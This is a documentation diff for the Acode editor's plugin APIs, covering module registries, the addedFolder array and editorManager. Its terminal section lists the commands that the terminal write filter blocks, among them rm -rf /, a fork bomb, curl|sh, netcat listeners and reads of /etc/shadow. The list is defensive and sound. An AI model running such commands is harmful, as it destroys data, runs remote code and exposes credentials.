+`acode.require("fileList")` is **deprecated**. Use the asynchronous [`fileIndex`](../editor-components/file-index.md) API for native SAF and `file://` workspaces.
+:::
+
+The exported function logs a single one-time warning on first call:
+
+`acode.require("fileList") is deprecated. Use the asynchronous "fileIndex" API. fileList now contains only non-native storage providers.`
+
+It also carries the markers `fileList.deprecated === true` and `fileList.replacement === "fileIndex"`. Only the own enumerable properties of the module's default export (`on` and `off`) survive `Object.assign`, so the named exports (`append`, `remove`, `refresh`, `rename`, `whenReady`, `addRoot`, `initFileList`, `Tree`) are **not** reachable from `acode.require("fileList")`. What remains is only the compatibility index for **non-native** providers such as FTP/SFTP.
+
+```js
+const fileList = acode.require("fileList");
+console.log(fileList.deprecated, fileList.replacement); // true "fileIndex"
+```
+
+### `editorLanguages` <Badge type="tip" text="new" />
+
+```js
+const editorLanguages = acode.require("editorLanguages");
 ```
 
+| Method | Description |
+|---|---|
+| `register(name, extensions, caption?, loader?)` | Alias of `add` |
+| `add(name, extensions, caption?, loader?)` | Registers a mode. `name` is trimmed + lowercased; `extensions` is a string or string array; `loader` returns a CodeMirror `Extension` or a promise for one |
+| `unregister(name)` | Alias of `remove` |
+| `remove(name)` | Removes the mode and its aliases |
+| `list()` | Array of all registered modes |
+| `listByName()` | Object map of name (and aliases) to mode, including built-ins |
+| `get(name)` | Mode for a trimmed + lowercased name, or `null` |
+| `getForPath(path)` | Best matching mode for a path, falling back to the `text` mode |
+
 ::: tip
-This method is equivalent to calling `new EditorFile(filename, options)`.
+`editorLanguages` does not forward `addMode`'s 5th `options` parameter, so `aliases` and `filenameMatchers` are only reachable through the legacy `acode.require("aceModes").addMode(...)`.
 :::
 
-::: info
-This API was added in `v1.11.0` (versionCode: `956`) and marked stable in `v1.11.2` (versionCode: `958`)
+### `editorThemes` <Badge type="tip" text="new" />
+
+```js
+const editorThemes = acode.require("editorThemes");
+```
+
+`register(spec)` accepts:
+
+| Field | Aliases | Notes |
+|---|---|---|
+| `id` | `name` | Required |
+| `caption` | `label` | Defaults to `id` |
+| `isDark` | `dark` | Defaults to `false`. `isDark` wins when both are present |
+| `getExtension` | `extensions`, `extension`, `theme` | Required. A CodeMirror extension (or array) or a function returning one |
+| `config` | — | Theme metadata, defaults to `null` |
+
+It returns `false` for an invalid spec. The exact validation warnings are:
+
+- `[editorThemes] register(spec) expects an object: { id, caption?, dark?, getExtension|extensions|extension|theme, config? }`
+- ``[editorThemes] register(spec) requires a valid `id`.``
+- `[editorThemes] register('<id>') requires extensions via getExtension/extensions/extension/theme.`
+
+The registry also rejects (returns `false`) an empty id or an id that is already registered — ids are compared trimmed and lowercased — and logs once per theme via `console.error` when the extensions fail `EditorState.create()` validation (`[editorThemes] Theme '<id>' is invalid: no extensions were returned`).
+
+| Method | Description |
+|---|---|
+| `unregister(id)` | Removes the theme |
+| `list()` | All registered theme entries |
+| `apply(id)` | `editorManager.editor.setTheme(id)` on the active editor |
+| `get(id)` | Theme entry or `null` |
+| `getConfig(id)` | Theme config, falling back to the `one_dark` config |
+| `createTheme({ styles, dark, highlightStyle, extensions })` | Builds a theme extension array |
+| `createHighlightStyle(spec)` | `HighlightStyle.define(spec)` when `spec` is an array, otherwise returns `spec` as-is |
+| `cm` | `{ EditorView, HighlightStyle, syntaxHighlighting, tags }` |
+
+See [Editor Themes](../utilities/editor-themes.md).
+
+### `themes` <Badge type="tip" text="new" />
+
+App (UI) theme list, **not** the editor theme registry.
+
+```js
+const themes = acode.require("themes");
+```
+
+| Method | Description |
+|---|---|
+| `add(theme: ThemeBuilder)` | Registers a `ThemeBuilder` |
+| `get(name: string)` | Theme for a lowercased name, or `undefined` |
+| `list()` | All registered app themes |
+| `update(theme: ThemeBuilder)` | Updates an existing theme in place; calls `add()` when the id is unknown. Ignores non-`ThemeBuilder` values |
+| `apply()` | **Deprecated no-op.** It does nothing — use the app theme setting instead |
+
+See [Themes](../helpers/themes.md).
+
+### `encodings` <Badge type="tip" text="new" />
+
+```js
+const encodings = acode.require("encodings");
+```
+
+| Member | Description |
+|---|---|
+| `encodings` | Getter for the live map of available charsets (`{ [name]: { label, aliases, name } }`), populated natively on startup |
+| `encode(text, charset): Promise<ArrayBuffer>` | Encodes text with the resolved charset |
+| `decode(buffer, charset): Promise<string \| any>` | Decodes an `ArrayBuffer`. Passing `"json"` parses the result |
+
+Charset resolution is case-insensitive and also matches aliases; an empty charset falls back to `settings.value.defaultFileEncoding` (`"auto"` means `"UTF-8"`), and unknown charsets fall back to `UTF-8`.
+
+### `lsp` <Badge type="tip" text="new" />
+
+`acode.require("lsp")` is a spread of `src/cm/lsp/api.ts` plus a limited client manager:
+
+- `defineServer`, `defineBundle`, `installers`
+- `register(entry, options?)`, `upsert(entry)`
+- `servers` — `{ get, list, listForLanguage, update, unregister, onChange }`
+- `bundles` — `{ list, getForServer, unregister }`
+- `runtimes` — `{ register, unregister, get, list, select }`
+- `workers.createTransport(options)`
+- `registerRuntimeProvider` / `unregisterRuntimeProvider`
+- `clientManager` — `{ setOptions(options), getActiveClients() }`
+
+See [LSP](../advanced-apis/lsp.md).
+
+### `terminal` <Badge type="tip" text="new" />
+
+```js
+const terminal = acode.require("terminal");
+```
+
+| Method | Description |
+|---|---|
+| `create(options)` / `createLocal(options)` / `createServer(options)` | Create a terminal tab |
+| `get(id)` / `getAll()` | Look up terminals |
+| `write(id, data)` | **Filtered** write, see below |
+| `clear(id)` / `close(id)` | Clear or dispose a terminal |
+| `moreOptions` / `touchSelection.moreOptions` | `{ add, remove, list }` touch-selection extra actions |
+| `themes` | `{ register, unregister, get, getAll, getNames, createVariant }` |
+
+::: warning
+`write(id, data)` passes through a security filter before it reaches the terminal:
+
+- Non-string `data` is ignored (with `Terminal write data must be a string`) and the call returns `undefined`.
+- Blocked patterns abort the write and show the toast `Potentially dangerous command blocked for security` (command substitution uses `Command substitution blocked for security`). Blocked patterns include `rm -rf /`, `rm -rf *`, `rm -rf ~`, `mkfs.*`, `dd if=/…`, the `:(){ :|:& };:` fork bomb, `sudo dd if=/…`, `sudo rm -rf /`, `curl … | sh`, `wget … | sh`, `bash <(…)`, `sh <(…)`, `nc -l -p <port>`, `ncat -l -p <port>`, `python … SimpleHTTPServer`, `python … http.server`, `kill -9 1`, `killall -9 *`, `chmod 777 /…`, `chown … /…`, `cat /etc/passwd`, `cat /etc/shadow`, `cat /root/…` and any payload containing a null byte.
+- Data longer than **64 KB** is truncated and `\n[Data truncated for security]\n` is appended (with a `console.warn`).
+- `$(...)` substitutions are scanned for those same patterns.
+- When blocked, the function returns `undefined`.
 :::
 
-### `waitForPlugin(pluginId: string): Promise<boolean>`
+```js
+terminal.write(id, "Hello World!\r\n");
+```
 
-Resolves when the target plugin has loaded.
+See [Terminal](../advanced-apis/terminal.md).
+
+### `sidebarApps` and `intent` <Badge type="tip" text="new" />
 
 ```js
-await acode.waitForPlugin("com.example.other-plugin");
+const sidebarApps = acode.require("sidebarApps");
+const intent = acode.require("intent");
+
+sidebarApps.add("my-icon", "com.example.my-app", "My App", (container) => {
+  container.innerHTML = "<p>Hello</p>";
+});
+
+const $container = sidebarApps.get("com.example.my-app"); // throws if unknown
+sidebarApps.remove("com.example.my-app");
+
+const onIntent = (event) => {
+  // event: { module, action, value, preventDefault(), stopPropagation() }
+};
+intent.addHandler(onIntent);
+intent.removeHandler(onIntent);
 ```
 
-### `clearBrokenPluginMark(pluginId: string): void`
+See [Sidebar Apps](../interface-apis/sidebar-apps.md) and [Intent](../advanced-apis/intent.md).
+
+### `codemirror` <Badge type="tip" text="new" />
 
-Clears a plugin's broken mark so it can be retried on next load.
+`acode.require("codemirror")` is frozen and exposes `autocomplete`, `commands`, `language`, `lint`, `search`, `state`, `view`, `highlight` (the static highlighter, same object as `codeHighlight`) and a frozen `lezer` namespace that spreads `@lezer/highlight` and also nests `common` (`@lezer/common`), `highlight` and `lr` (`@lezer/lr`).
 
 ```js
-acode.clearBrokenPluginMark("com.example.plugin");
+const cm = acode.require("codemirror");
+const { EditorView } = cm.view;
+const { tags } = cm.lezer;
+const lezerHighlight = cm.lezer.highlight;
+const lezerCommon = cm.lezer.common;
+const lezerLr = cm.lezer.lr;
 ```
 
+The same instances are available directly as `@codemirror/view`, `@codemirror/state`, `@codemirror/language`, `@codemirror/commands`, `@codemirror/autocomplete`, `@codemirror/lint`, `@codemirror/search`, `@lezer/common`, `@lezer/highlight` and `@lezer/lr`.
+
+See [CodeMirror packages](../utilities/codemirror.md).
+
 ## Related APIs
 
 - Commands API (preferred for adding/removing commands): [Commands](../utilities/commands.md)
+- Active editor and active file: [EditorManager](./editor-manager.md)
 - CodeMirror editor theme API: [Editor Themes](../utilities/editor-themes.md)
-- Static CodeMirror highlighter (versionCode `1008+`): [Code Highlight](../utilities/code-highlight.md)
-- File and folder icon packs (versionCode `1012+`): [File Icons](../utilities/file-icons.md)
+- Shared CodeMirror / Lezer packages: [CodeMirror packages](../utilities/codemirror.md)
+- Static CodeMirror highlighter (added in `v1.13.2`): [Code Highlight](../utilities/code-highlight.md)
+- File and folder icon packs (available in versionCode `1011`): [File Icons](../utilities/file-icons.md)
 - Language server API: [LSP](../advanced-apis/lsp.md)
 - File handler API: [File Handlers](../advanced-apis/file-handlers.md)
 - Terminal API: [Terminal](../advanced-apis/terminal.md)
+- Native WebView plugin API: [WebView](../advanced-apis/webview.md)
+- Native WebView plugin context: [Plugin Context (`ctx`)](../plugin-essentials/plugin-context.md)
+- Workspace index (replacement for `fileList`): [File Index](../editor-components/file-index.md)
+- Other globals such as `PLUGIN_DIR` or `CACHE_STORAGE`: [Other Global Utilities](./global-utilities.md)
\ No newline at end of file
diff --git a/docs/global-apis/added-folder.md b/docs/global-apis/added-folder.md
index 7acadf7..4f291b1 100644
--- a/docs/global-apis/added-folder.md
+++ b/docs/global-apis/added-folder.md
@@ -4,14 +4,92 @@
 
 The `addedFolder` object is the global object which returns an Array of object. This object provides essential properties and methods to interact with the currently opened folders in the **sidenav** of Acode app. Use these properties and methods to manipulate folder states, reload contents, and manage folder visibility effectively.
 
+::: info
+Verified against Acode **v1.13.5** (versionCode `1011`): `export const addedFolder = []` in `src/lib/openFolder.js`. It is a **live array of `Folder` objects**, one per folder open in the file sidebar — not a snapshot, not an event.
+:::
+
+### Importing
+
+```js
+const addedFolder = acode.require("addedFolder"); // or window.addedFolder
+```
+
+`acode.require("addedfolder")` works too — module names are lowercased before lookup.
+
+::: warning Not a copy
+`addedFolder` is the same array instance the sidebar mutates: `openFolder()` pushes to it and each `folder.remove()` splices out of it. It holds no copy for you, so keep your own reference and iterate it defensively (`[...addedFolder]`) if you plan to remove entries while looping.
+:::
+
+### When it changes
+
+| Moment | What happens |
+| --- | --- |
+| [`openFolder(url, { name })`](../utilities/open-folder.md) succeeds | A new `Folder` object is **pushed** onto the array |
+| `folder.remove()` is called (or `openFolder.removeItem(url)` on that root, or `openFolder.removeFolders(url)` for a subtree) | The object is **spliced out** of the array |
+| Anything else — renaming a file, deleting an entry, switching tabs | The array is **not** touched |
+
+There is no callback, event or subscription for this array. To be notified of changes, listen to the editor's `add-folder` / `remove-folder` events (they fire *after* the array has been updated):
+
+```js
+editorManager.on("add-folder", ({ url, name }) => { /* addedFolder already contains it */ });
+editorManager.on("remove-folder", ({ url }) => { /* already removed */ });
+```
+
 ### Properties
 
-* `url: string` The URL of the folder.
-* `remove: ()=>void` Removes the folder from the sidenav.
-* `$node: HTMLElement` The HTML element of the folder.
-* `reload: ()=>void` Reloads the folder.
-* `listState: Map<dir:string, open:boolean>` The state of the folders in the folder.
-* `reloadOnResume: boolean` Whether to reload the folder when the app resumes.
-* `saveState: boolean` Whether to save the state of the folder when the app is closed.
-* `title: string` The title of the folder.
-* `id: string` The ID of the folder.
\ No newline at end of file
+| Property | Type | Description |
+| --- | --- | --- |
+| `id` | `string \| undefined` | The `id` passed to `openFolder()`; `undefined` when you did not supply one. |
+| `url` | `string` | The URL of the folder. This is the identity used by `openFolder.find()` and for duplicate detection. |
+| `title` | `string` | The title of the folder — the `name` you passed to `openFolder()`, shown in the sidebar. |
+| `$node` | `HTMLElement` | The HTML element of the folder. A collapsible list whose `$title` and `$ul` carry `dataset.url`, `dataset.name` and `dataset.type = "root"`. |
+| `listFiles` | `boolean` | Whether the folder's files were registered as file-list roots. Resolved from `opts.listFiles`, else `acode.require("settings").value.fileBrowser?.listFiles ?? true`. |
+| `saveState` | `boolean` | Whether to remember the expanded state of sub-directories. Defaults to `true`. |
+| `listState` | `object` | Expanded state as `{ [dirUrl]: boolean }`, updated in place while the folder is open. Pass a plain object as `opts.listState` to seed it. |
+| `remove` | `(e?: Event) => void` | Removes the folder from the sidenav (and from the file-list roots). Does **not** delete anything from disk. |
+| `reload` | `() => void` | Reloads the folder: collapses and re-expands it, rebuilding the file tree. |
+| `clipBoard` | `{ url?: string, $el?: HTMLElement, action?: 'cut' \| 'copy' }` | The folder's pending cut/copy state, set by the long-press "Copy"/"Cut" context menu items. |
+
+::: warning `reloadOnResume` does not exist
+`openFolder()` has no `reloadOnResume` option in v1.13.5, and no `Folder` object carries that property — `folder.reloadOnResume` is `undefined`. The same applies to any `name` fallback: `title` is exactly the `name` you passed.
+:::
+
+### Methods
+
+There are no methods on the `Folder` objects themselves — only the two functions, `remove` and `reload`, listed above. To *find* a folder use [`openFolder.find(url)`](../utilities/open-folder.md#finding-folders), and to *close* one call `folder.remove()`:
+
+```js
+// Find the folder that contains this URL
+const folder = acode.require("openFolder").find("file:///sdcard/Project/src/app.js");
+
+if (folder) {
+  console.log(folder.title, folder.url, addedFolder.includes(folder)); // true
+}
+```
+
+### Example
+
+```js
+const fs = acode.require("fs");
+const openFolder = acode.require("openFolder");
+const addedFolder = acode.require("addedFolder");
+
+acode.setPluginInit(plugin.id, async () => {
+  const url = `${CACHE_STORAGE}/my-plugin/workspace`;
+
+  await fs(CACHE_STORAGE).createDirectory("my-plugin");
+  await fs(`${CACHE_STORAGE}/my-plugin`).createDirectory("workspace");
+  openFolder(url, { name: "Plugin workspace", id: "my-plugin-workspace" });
+
+  // The folder is on the array synchronously, right after openFolder().
+  const opened = addedFolder.find((folder) => folder.id === "my-plugin-workspace");
+  console.log(opened.title, addedFolder.length); // "Plugin workspace" 1
+
+  // Close every folder this plugin owns and clean up.
+  [...addedFolder]
+    .filter((folder) => folder.id === "my-plugin-workspace")
+    .forEach((folder) => folder.remove());
+
+  await fs(`${CACHE_STORAGE}/my-plugin`).delete();
+});
+```
diff --git a/docs/global-apis/editor-manager.md b/docs/global-apis/editor-manager.md
index d24b044..6c92e6d 100644
--- a/docs/global-apis/editor-manager.md
+++ b/docs/global-apis/editor-manager.md
@@ -4,6 +4,21 @@
 
 The `editorManager` allows you to interact with the editor instance and listen to app-level editor events. Use it for open files/tabs, multi-pane layout, and the active CodeMirror view.
 
+::: danger
+`editorManager` is **not** a requirable module. In v1.13.5, `acode.require("editorManager")` returns `undefined` — the manager is never passed to `acode.define()`, so no module is registered under that name. Only `window.editorManager` (or the bare global `editorManager`) is valid.
+:::
+
+```js
+const manager = window.editorManager;             // correct
+const notAModule = acode.require("editorManager"); // undefined — do not use
+```
+
+For comparison, these *are* requirable because they are registered with `acode.define()`: `EditorFile`, `commands`, `fileBrowser`, `editorLanguages`, `editorThemes`, `codemirror`, `codeHighlight`.
+
+::: warning
+`window.editorManager` is initialised to `null` during boot and is only replaced with the real manager after the first CodeMirror `EditorView` has been constructed. Read it **lazily** — inside a command, an event listener, or after awaiting — instead of capturing it at plugin-load time.
+:::
+
 ## Core properties
 
 ### `editor`
@@ -25,33 +40,64 @@ view.dispatch({
 });
 ```
 
+Because it is a real `EditorView`, everything CodeMirror 6 offers is available — `dispatch()`, `state`, `selection`, `focus()`, `posAtCoords()`, `coordsAtPos()`, `requestMeasure()`, `dom` / `contentDOM` / `scrollDOM`. See [CodeMirror packages](../utilities/codemirror.md) for how to get the same package instances the app uses.
+
+```js
+const view = editorManager.editor;
+
+const { from, to } = view.state.selection.main; // main range
+const ranges = view.state.selection.ranges;      // every cursor
+const line = view.state.doc.lineAt(view.state.selection.main.head);
+
+view.dispatch({
+  selection: { anchor: line.from, head: line.to },
+  scrollIntoView: true,
+});
+```
+
 ::: tip
 Prefer `acode.require("commands")` for command registration/removal in new plugins.  
 See: [Commands API](../utilities/commands.md)
 :::
 
-Compatibility helpers are also available for legacy plugins:
-
-- `editor.session` (Ace-style session proxy for the active file)
-- `editor.getValue()`
-- `editor.gotoLine(...)`
-- `editor.insert(text)`
-- `editor.getCursorPosition()`
-- `editor.moveCursorToPosition({ row, column })`
-- `editor.selection.getRange()`
-- `editor.getCopyText()`
+Compatibility helpers are also available for legacy plugins (see [CodeMirror and Legacy Ace Compatibility](./ace.md)):
+
+| Helper | Signature | Notes |
+|---|---|---|
+| `session` | `Proxy<EditorState> \| null` | The active pane's active-file session |
+| `getValue()` | `() => string` | Full document text |
+| `gotoLine(line, column = 0, animate = false)` | `=> boolean` | Accepts `16`, `16:5`, `"+5"`, `"-3"`, `"50%"` |
+| `insert(text)` | `(text) => boolean` | Replaces the current selection, cursor lands after the insert |
+| `getCursorPosition()` | `() => { row, column }` | **1-based** row |
+| `getSelectionRange()` | `() => { start, end }` | **0-based** rows |
+| `moveCursorToPosition({ row, column })` | `=> void` | Treats `row` as 1-based |
+| `selection.anchor` | `number` | Main-selection anchor offset |
+| `selection.getRange()` | `() => { start, end }` | **1-based** rows |
+| `selection.getCursor()` | `() => { row, column }` | Same as `getCursorPosition()` |
+| `getCopyText()` | `() => string` | Selected text, `""` when the selection is empty |
+| `scrollToRow(row)` | `(row) => boolean` | `Number.POSITIVE_INFINITY` jumps to the end |
+| `setTheme(themeId)` | `(themeId) => boolean` | Must be a registered theme id |
+| `setSelection(value)` / `setMenu(value)` | `(value) => void` | Touch-selection menu toggles |
+| `execCommand(commandName, args)` | `=> boolean` | Wraps the command registry |
+| `commands.addCommand(descriptor)` | `(descriptor) => command` | Registers and refreshes the keymap of this view |
+| `commands.removeCommand(name)` | `(name) => void` | Unregisters and refreshes the keymap of this view |
+| `commands.commands` | `{ [name]: command }` | Read-only snapshot |
+
+::: warning
+The row bases are inconsistent on purpose-for-compatibility: `getCursorPosition()` / `selection.getRange()` are 1-based while `getSelectionRange()` is 0-based. Do not mix them in the same calculation — prefer raw `state.selection.main` offsets.
+:::
 
 ### `isCodeMirror: boolean`
 
-`true` on modern Acode builds that use CodeMirror 6.
+Hard-coded `true` in this version. Ace is no longer bundled, so there is no Ace build where this is falsy; treat any falsy value as "too old to matter", not as "Ace fallback".
 
 ### `activeFile: EditorFile | null`
 
-Currently focused file/tab.
+Currently focused file/tab. It is `null` before any tab is opened and after the last tab closes, and it can point at a non-editor tab (`type !== "editor"`, e.g. a terminal, image, video, audio or custom plugin tab). See [Editor File](../editor-components/editor-file.md).
 
 ### `files: EditorFile[]`
 
-All open files across every pane.
+All open files across every pane, flattened in layout order (top-left pane first).
 
 ### `container: HTMLElement`
 
@@ -69,46 +115,82 @@ Open-file tab list (pane-aware when multi-pane layout is active).
 
 Whether the active editor is currently scrolling.
 
+### `editorHistory: EditorFile[]` / `editorHistoryIndex: number`
+
+The tab-switch history stack (max 100 entries) and the current position in it.
+
+### `TIMEOUT_VALUE: number`
+
+The debounce (ms, `500`) applied before `file-content-changed` / `update:file-changed` fire after a document change.
+
+### `readOnlyCompartment`
+
+The CodeMirror `Compartment` that toggles read-only state. Exposed so `EditorFile.setReadOnly()` can reconfigure it; plugins should prefer `file.setReadOnly(value)`.
+
+### `onupdate(...args)`
+
+Internal app hook. Acode assigns its own handler to it during boot, so plugin assignments get overwritten. Listen to [events](#events) instead.
+
 ## Opening files
 
-There is no `editorManager.addNewFile` API. Create tabs with:
+There is no `editorManager.addNewFile` or `editorManager.openFile` API. Create tabs with:
 
 ```javascript
 const EditorFile = acode.require("EditorFile");
 
-// Preferred
-new EditorFile("example.js", {
+// Preferred — gives you the instance back
+const file = new EditorFile("example.js", {
   text: "console.log('hi')",
   render: true,
 });
 
-// Or via acode
+// Or via acode (note: returns undefined)
 acode.newEditorFile("example.js", {
   text: "console.log('hi')",
   render: true,
 });
 ```
 
+To open a file that already exists on disk, construct it with a `uri` and let it load:
+
+```javascript
+const file = new EditorFile("example.js", { uri, render: true });
+await file.load();
+```
+
+Switching between already-open tabs is done through the file itself or `switchFile`:
+
+```javascript
+editorManager.switchFile(file.id);   // accepts an id
+file.makeActive();                   // or activate the instance directly
+```
+
 See [Editor File](../editor-components/editor-file.md) for full options (`pinned`, `paneId`, custom tabs, etc.).
 
 ### `addFile(file: EditorFile)`
 
-Registers an already-constructed `EditorFile` instance with the manager (used internally and by advanced plugins).
+Registers an already-constructed `EditorFile` instance with the manager (used internally and by advanced plugins). The `EditorFile` constructor already calls this for you.
 
-### `getFile(test, type)`
+### `getFile(checkFor, type = "id")`
 
-Finds an open file.
+Finds an open file. Returns `undefined` when nothing matches.
 
-- `test`: id, uri, name, git, or gist key
-- `type`: `"uri" | "id" | "name" | "git" | "gist"`
+- `checkFor`: the value to compare against
+- `type`: `"id"` | `"name"` | `"uri"` — **any other value matches nothing**
+
+```javascript
+editorManager.getFile("default-session", "id");
+editorManager.getFile("index.js", "name");
+editorManager.getFile("file:///storage/emulated/0/index.js", "uri");
+```
 
-### `switchFile(id: string)`
+### `switchFile(id, targetPane = null)`
 
-Switches the active tab to the given file id.
+Switches the active tab to the given file id. `targetPane` forces which pane hosts the file; when omitted the pane already containing the file is used, falling back to the active pane. Fires `switch-file`.
 
 ### `hasUnsavedFiles(): number`
 
-Returns the number of unsaved files.
+Returns the number of unsaved files. Each file's dirty state is recomputed first, so this is accurate even if the doc changed within the debounce window.
 
 ## Multi-pane layout
 
@@ -122,6 +204,8 @@ Acode supports side-by-side / stacked editor panes. Each pane has its own CodeMi
 | `panes` | Array snapshot of all panes |
 | `activePaneTabList` | Tab list element for the active pane |
 
+A pane object exposes `id`, `files`, `activeFile`, `editor`, `editorContainer`, `tabList`, `content`, `element`, `layoutNode`, `touchSelectionController`.
+
 ### Creating and closing panes
 
 ```javascript
@@ -136,14 +220,16 @@ const pane = await editorManager.createPane({
   direction: "horizontal", // "horizontal" | "vertical" | "right" | "down" | "below"
   moveFile: editorManager.activeFile, // optional: move current file into the new pane
   createUntitled: true, // default true when moveFile is not set
+  activate: true, // focus the new pane when nothing is moved/created
+  sourcePane: editorManager.activePane, // default: the active pane
 });
 
 // Close panes
-editorManager.closeActivePane();
-editorManager.closeEmptyPane(pane);
+editorManager.closeActivePane();  // boolean
+editorManager.closeEmptyPane(pane); // boolean, only when the pane has no files
 ```
 
-`createPane` / `splitPane*` resolve to the new pane object, or `null` when there is not enough space.
+`createPane` / `splitPane*` resolve to the new pane object, or `null` when there is not enough space (a horizontal split needs ≥ 360 px, a vertical split ≥ 220 px) or when the pane editor failed to build.
 
 ### Focusing panes
 
@@ -154,6 +240,8 @@ editorManager.focusPaneByDirection("left"); // "left" | "right" | "up" | "down"
 editorManager.setActivePane(pane);
 ```
 
+`focusNextPane` / `focusPreviousPane` / `focusPaneByDirection` return `false` when there is only one pane or no neighbour in that direction. `setActivePane(pane, options)` returns the pane.
+
 ### Moving files between panes
 
 ```javascript
@@ -161,6 +249,9 @@ await editorManager.moveActiveFileToNewPane("vertical");
 
 editorManager.moveFileToPane(file, targetPane, {
   activate: true,
+  index: null, // optional tab position
+  createSourcePlaceholder: true, // default: create an empty tab if the source pane empties
+  activateSourceFallback: true, // default: focus another tab in the source pane
 });
 
 editorManager.removeFileFromPane(file);
@@ -168,6 +259,8 @@ editorManager.getFilePane(file); // pane hosting the file, or null
 editorManager.getPaneFiles(pane); // files in a pane
 ```
 
+`removeFileFromPane(file)` returns `{ pane, wasPaneActive, nextFile }`, or `null` if the file is not in any pane.
+
 ### Pin helpers
 
 Pinned tabs stay grouped at the front of a pane's tab list:
@@ -178,12 +271,22 @@ editorManager.moveFileByPinnedState(file);
 editorManager.normalizePinnedTabOrder(pane);
 ```
 
+### Tab order and layout
+
+```javascript
+// Reorder after a drag, using the pane's own <ul> element
+editorManager.updatePaneFileOrderFromTabs($tabList, { draggedFile });
+
+// Rebuild the visible tab list from the pane model
+editorManager.syncOpenFileList();
+```
+
 ## Tab history
 
 ```javascript
-editorManager.openPreviousEditorFromHistory();
-editorManager.openNextEditorFromHistory();
-editorManager.recordHistory(file); // usually automatic on switch
+editorManager.openPreviousEditorFromHistory(); // boolean
+editorManager.openNextEditorFromHistory();     // boolean
+editorManager.recordHistory(file);             // usually automatic on switch
 ```
 
 ## LSP / cache helpers
@@ -196,39 +299,134 @@ editorManager.restartLsp();
 await editorManager.flushCacheWrites();
 ```
 
-## Events
+`getLspMetadata(file, targetEditor)` returns `{ uri, languageId, languageName, view, file, rootUri }` for an editor-type file, or `null` when no LSP URI can be derived. `languageName` is the file's `currentMode` (falling back to `mode`, then the resolved language id).
 
-### `on(event, listener)` / `off(event, listener)` / `emit(event, ...args)`
+## Other methods
 
-| Event | Description |
+| Method | Returns |
 |---|---|
-| `switch-file` | Active file changed |
-| `rename-file` | File renamed |
-| `save-file` | File saved |
-| `file-loaded` | File finished loading |
-| `file-content-changed` | File content changed |
-| `add-folder` | Workspace folder added |
-| `remove-folder` | Workspace folder removed |
-| `update-folder` | Workspace folder updated |
-| `new-file` | New file created |
-| `init-open-file-list` | Open file list initialized |
-| `remove-file` | File removed |
-| `update` | Generic update (often with a sub-action) |
-
-`update` listeners may receive a sub-action as the first argument, for example:
-
-- `"pin-tab"`
-- `"switch-file"`
-- `"read-only"`
+| `revealRange(from, to = from, options)` | `boolean` — moves the selection and scrolls it into view; `options` is `{ y = "center", userEvent = "select.reveal" }` |
+| `reapplyActiveFile()` | `void` — force-recreates the active editor state from the file's session |
+| `getEditorHeight(view)` | `number` — remaining vertical scroll extent of a view |
+| `getEditorWidth(view)` | `number` — remaining horizontal scroll extent of a view |
+| `getPaneTabList(fileOrPane)` | `HTMLElement \| null` — accepts a pane, a file, or a pane id |
+| `splitPane(direction = "horizontal")` | `Promise<pane \| null>` |
+
+## Events
+
+### `on(types, callback)` / `off(types, callback)` / `emit(event, ...args)`
+
+`types` may be a single name or an array of names. `on` creates a bucket for any name, so custom names work as long as something emits them.
+
+| Event | Payload | Fires when |
+|---|---|---|
+| `switch-file` | `(file: EditorFile)` | The active tab changed, or a pane became active with a file |
+| `rename-file` | `(file: EditorFile)` | `file.filename` or `file.uri` changed |
+| `save-file` | `(file: EditorFile)` | A save completed successfully |
+| `file-loaded` | `(file: EditorFile)` | An active file finished loading text from the provider |
+| `file-loading-preview` | `(file: EditorFile, text: string)` | A remote (FTP/SFTP) preview text arrived while loading |
+| `file-content-changed` | `(file: EditorFile)` | After a debounced document change (`TIMEOUT_VALUE`, 500 ms) |
+| `editor-state-changed` | `(view: EditorView)` | On every transaction where `docChanged` is true — **not** debounced, and only while an editor-type file is active in that pane |
+| `add-folder` | `(event)` | A workspace folder was added |
+| `remove-folder` | `(event)` | A workspace folder was removed |
+| `new-file` | `(file: EditorFile)` | A new `EditorFile` was constructed |
+| `remove-file` | `(file: EditorFile)` | A tab was closed |
+| `int-open-file-list` | `(openFileListPos: string)` | The open-file list container was rebuilt |
+| `update` | `(subAction, ...)` | See the table below |
+
+::: warning
+The event name is `int-open-file-list` (no `i` after the dash) — that is the literal string the app emits.
+:::
+
+### `update` sub-actions
+
+`update` is emitted as `emit("update", subAction, ...)`. Every sub-action is **also** emitted as its own event under the name `update:<subAction>`, with the sub-action stripped from the arguments.
+
+```javascript
+editorManager.on("update", (action, payload) => {
+  console.log(action, payload);
+});
+```
+
+| Sub-action | Extra arguments | Meaning |
+|---|---|---|
+| `"file-changed"` | – | Debounced document change |
+| `"read-only"` | – | `file.editable` toggled |
+| `"pin-tab"` | `(file: EditorFile)` | Pin state changed |
+| `"save-file"` | – | A save completed |
+| `"add-folder"` | – | Workspace folder added |
+| `"remove-folder"` | – | Workspace folder removed |
+| `"delete-file"` | – | A file was deleted from a folder |
+| `"delete-folder"` | – | A folder was deleted |
+
+`"switch-file"`, `"rename-file"` and `"remove-file"` are **not** emitted through `update` — they only reach the app-internal `onupdate` hook. Subscribe to the dedicated events instead.
 
 ```javascript
 editorManager.on("switch-file", () => {
   console.log("user switched file", editorManager.activeFile?.filename);
 });
 
-editorManager.on("update", (action, file) => {
-  if (action === "pin-tab") {
-    console.log("pin state changed", file?.filename, file?.pinned);
-  }
+editorManager.on("update:pin-tab", (file) => {
+  console.log("pin state changed", file?.filename, file?.pinned);
 });
 ```
+
+## Complete example
+
+```js
+const commands = acode.require("commands");
+
+const onSave = (file) => {
+  console.log("saved:", file.filename);
+};
+
+const onRemove = (file) => {
+  file.off("save", onSave);
+};
+
+commands.addCommand({
+  name: "example.insertBanner",
+  description: "Insert a banner at the cursor",
+  // This command mutates the document, so it must opt out of running in a
+  // read-only editor. readOnly defaults to true, which means "allowed to run
+  // in read-only mode" — omitting this would let it edit a protected tab.
+  readOnly: false,
+  exec: (view, args) => {
+    const manager = window.editorManager;
+    const file = manager.activeFile;
+
+    if (!file || file.type !== "editor") return false;
+    if (!file.loaded || file.loading) return false;
+
+    const text = `// ${args?.name || "banner"}\n`;
+
+    // Insert through the live view so selection, undo history and the file's
+    // dirty state all stay in sync.
+    view.dispatch({
+      changes: {
+        from: view.state.selection.main.from,
+        to: view.state.selection.main.to,
+        insert: text,
+      },
+      selection: { anchor: view.state.selection.main.from + text.length },
+    });
+
+    file.on("save", onSave);
+    file.on("close", onRemove);
+
+    file.save();
+    return true;
+  },
+});
+```
+
+## Gotchas
+
+- **`window.editorManager` is `null` until the editor is built.** Read it inside the command / listener, never at plugin-load time.
+- **`activeFile` is `null`** before the first tab and after the last one closes. Guard every access.
